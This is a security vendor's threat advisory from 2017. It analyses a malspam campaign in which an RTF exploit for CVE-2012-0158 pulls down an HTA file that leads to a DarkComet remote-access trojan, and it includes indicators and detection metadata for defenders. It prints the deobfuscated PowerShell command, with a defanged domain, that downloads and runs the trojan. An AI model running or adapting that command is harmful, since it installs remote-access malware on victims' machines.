---
title: Malspam Delivers DarkComet RAT October-2017
description: On October 10th, 2017 malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Buffer Overflow Vulnerability in
---

- [Home](https://mydev.netwitness.com/home)
- Integrations 
    - [Netwitness Platform Integrations](https://mydev.netwitness.com/netwitnessplatformintegrations)
    - [Third Party Integrations](https://mydev.netwitness.com/thirdpartyintegrations)
- [Knowledge Center](https://mydev.netwitness.com/knowledge-base)
- Community 
    - [Blogs](https://mydev.netwitness.com/netwitness-security-llc-blog)
    - Discussions
- Customers 
    - [Manage Products and Licenses](https://mydev.netwitness.com/nwportal)
    - Downloads
- Partners 
    - [Partner Program](https://mydev.netwitness.com/partner)
    - [Partner Resources](https://mydev.netwitness.com/partnerresources)
    - [Submit a New Deal Registration](https://mydev.netwitness.com/dealregistration)
    - [Become a Partner](https://mydev.netwitness.com/becomeapartner)
    - [Update Your Partner Locator Profile](https://www.netwitness.com/partner-locator/?utm_source=pardotnewsletter&utm_medium=email&utm_campaign=partner_march)
    - [NetWitness LinkedIn Partner Hub](https://linkedin.com/showcase/netwitnesspartners/)
- Education 
    - [Instructor Led Training Schedule](https://mydev.netwitness.com/instructorledtrainingschedule)
    - [NetWitness Training Catalog](https://mydev.netwitness.com/netwitnesstrainingcatalog)
    - [Security Awareness Training](https://mydev.netwitness.com/securityawarenesstraining)
    - [New Product Readiness](https://mydev.netwitness.com/newproductreadiness)
    - [On-Demand Virtual Labs](https://mydev.netwitness.com/ondemandvirtuallabs)
    - [Additional Training Information](https://mydev.netwitness.com/additionaltraininginformation)
    - [Frequently Asked Questions](https://mydev.netwitness.com/educationfaq)
    - [Contact NetWitness Education Team](https://mydev.netwitness.com/contact-netwitness-education-team)
- Support 
    - [Contact Support](https://mydev.netwitness.com/contact-support)
    - [Create a New Case](https://mydev.netwitness.com/create-support-case)
    - [View My Cases](https://mydev.netwitness.com/viewmycase)
    - [Product Version Life Cycle](https://mydev.netwitness.com/product-version-life-cycle)
    - [Warranty & Replacement Parts](https://mydev.netwitness.com/warranty-and-replacement-parts)
    - [Community Support Forum](https://mydev.netwitness.com/community-support-forum)
    - [Technical Support Guide](https://mydev.netwitness.com/technical-support-guide)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

![search](https://21725316.fs1.hubspotusercontent-na1.net/hubfs/21725316/Ladder/Image/search.svg)

# Malspam Delivers DarkComet RAT October-2017

- Home
 */*- [Netwitness blogs](https://mydev.netwitness.com/netwitness-security-llc-blog)
*/*- malspam delivers darkcomet rat october-2017

 12 Oct, 2017

**Author:** RajasSave

On October 10th, 2017 malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a [Buffer Overflow Vulnerability](https://securelist.com/the-curious-case-of-a-cve-2012-0158-exploit/37158/) in the [ListView / TreeView ActiveX controls](http://www.cvedetails.com/cve/CVE-2012-0158/) in the MSCOMCTL.OCX library, [CVE-2012-0158](https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/CVE-2012-0158-An-Anatomy-of-a-Prolific-Exploit.PDF?la=en). The malicious code can be triggered by a specially crafted DOC or RTF file for un-patched MS Office products.

[VirusTotal Analysis](https://www.virustotal.com/#/file/7f6ac415138bbc94d230c9cb58c4e6062e333d2b1dfa0ad08ebfee68ea350df1/detection) of delivered document confirms presence of RTF exploit.

![DOC\_VT.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26745i210893FA75FC4F8F.png "DOC_VT.PNG")

![DOC\_VT2.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26746i547E9F905BA28499.png "DOC_VT2.PNG")

After opening the document in a vulnerable Microsoft Word application, a connection is established to  “[shalomreal.com/111.118.180.181](https://www.virustotal.com/#/ip-address/111.118.180.181)” to download a malicious HTA file, which kicks off the following network events.

![darkcomet-network-2.png](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26748iB4AE60F141B55F85.png "darkcomet-network-2.png")

As shown above, " p4573447474794872248.hta" ([VirusTotal](https://www.virustotal.com/#/file/27db70bb23088cf0c9a9cee22c1ea3e0ba4cebab8a75aa2d1d8b3d7b6b465aee/detection)  and [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/27db70bb23088cf0c9a9cee22c1ea3e0ba4cebab8a75aa2d1d8b3d7b6b465aee?environmentId=100)) was the first download.

![filene\_hta.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26749i8392E2E6D08E7ED2.png "filene_hta.PNG")

This HTA file uses obfuscated code which when rendered creates a PowerShell command. It also creates Shell Object which helps download and execute final payload executable “gd.exe” and has code to close browser window automatically.

![nw\_hta.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26742iAD67BEB1E72E2367.png "nw_hta.PNG")

Above obfuscated charterer leads to generation of following PowerShell command which uses WebClient object for connectivity:

*powershell (new-object System.Net.WebClient).DownloadFile('hXXp://dvayen\[.\]com/fgg/gd\[.\]exe', '%temp%\\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'); Start-Process '%temp%\\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'", "", "", 0*

 

![exe\_nw.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26750i70833DB4F372082C.png "exe_nw.PNG")

![exenwFile.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26752i8D8B4FD103DB8BAC.png "exenwFile.PNG")

Once the download is complete, the binary is executed and post-infection traffic started.

![postinfection.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26744iA5361D28B6A06ADF.png "postinfection.PNG")

Banners in post infection traffic are [identified DrakComet RAT banners](https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf). [VirusToatal Analysis](https://www.virustotal.com/#/file/7ffbd2f20dfba3239165c1ee443b822dcfe68b4c7d2fca9baea855fbf5db1b3b/detection) of the payload, “gd.exe”, and Analysis of post infection traffic confirms that it is DarkComet, a Remote Access Trojan (RAT).

![postinfection \_nw.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26747iA734520B3C66197F.png "postinfection _nw.PNG")

Current RSA NetWitness detection populates following meta for the download sessions:

![meta4pre.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26753i6256D77D49F9F370.png "meta4pre.PNG")

![meta5pre.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26751i4E4273B09CD05526.png "meta5pre.PNG")

Current RSA NetWitness detection populates following meta for Post Infection traffic:

![meta6post.PNG](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26743i6B8317D8228389B9.png "meta6post.PNG")

Thanks go to [Ahmed Sonbol](https://community.netwitness.com/rsa-users/11862) and [Kevin Stear](https://community.netwitness.com/rsa-users/23608) for contributing to this threat advisory.

![47874-wb-net-FirstWatch-banner-1792x98.png](https://mydev.netwitness.com/hubfs/Imported_Blog_Media/26741i2B9AA4E02A83EBAA.png "47874-wb-net-FirstWatch-banner-1792x98.png")

 Topic:

[0 Comment](https://mydev.netwitness.com/netwitness-security-llc-blog/malspamdeliversdarkcometratoctober-2017#comments-listing)

###### CATEGORIES

- All
- [Blog](https://mydev.netwitness.com/netwitness-security-llc-blog/tag/blog)

##### RECENT POST

[Netwitness Platform Integration with AWS Application Load Balancer Access logs](https://mydev.netwitness.com/netwitness-security-llc-blog/netwitnessplatformintegrationwithawsapplicationloadbalanceraccesslogs)

 23 Jul, 2024

[The Sky Is Crying: The Wake of the 19 JUL 2024 CrowdStrike Content Update for Microsoft Windows and We Should Take Away From It](https://mydev.netwitness.com/netwitness-security-llc-blog/715124)

 20 Jul, 2024

[DDoS using BotNet Use Case](https://mydev.netwitness.com/netwitness-security-llc-blog/ddosusingbotnetusecase)

 7 May, 2024

[NetWitness Platform](https://www.netwitness.com/)

[Acceptable Use Policy](https://www.netwitness.com/wp-content/uploads/Acceptable-Use-Policy-092022.pdf) [Privacy Statement](https://www.netwitness.com/wp-content/uploads/NetWitness-Privacy-Statement-07292024.pdf)

![NetWitness Logo](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/netwitness-logo-RGB-white%201.png)

[![LinkedIn](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/linkedin.png)](https://www.linkedin.com/company/netwitness-platform/) [![YouTube](https://mydev.netwitness.com/hubfs/Portal-Partner%20Program/Youtube.jpg)](https://www.youtube.com/@netwitness)

© 2026 NetWitness LLC. All rights reserved.

```json
{
  "@context" : "https://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "RajasSave",
    "url" : "https://mydev.netwitness.com/netwitness-security-llc-blog/author/rajassave"
  },
  "dateModified" : "2026-03-20T11:01:43.458Z",
  "datePublished" : "2017-10-12T04:00:00.000Z",
  "headline" : "Malspam Delivers DarkComet RAT October-2017",
  "mainEntityOfPage" : {
    "@id" : "https://mydev.netwitness.com/netwitness-security-llc-blog/malspamdeliversdarkcometratoctober-2017",
    "@type" : "WebPage"
  },
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "url" : "https://mydev.netwitness.com/hubfs/netwitness-logo-CMYK.jpg"
    }
  }
}
```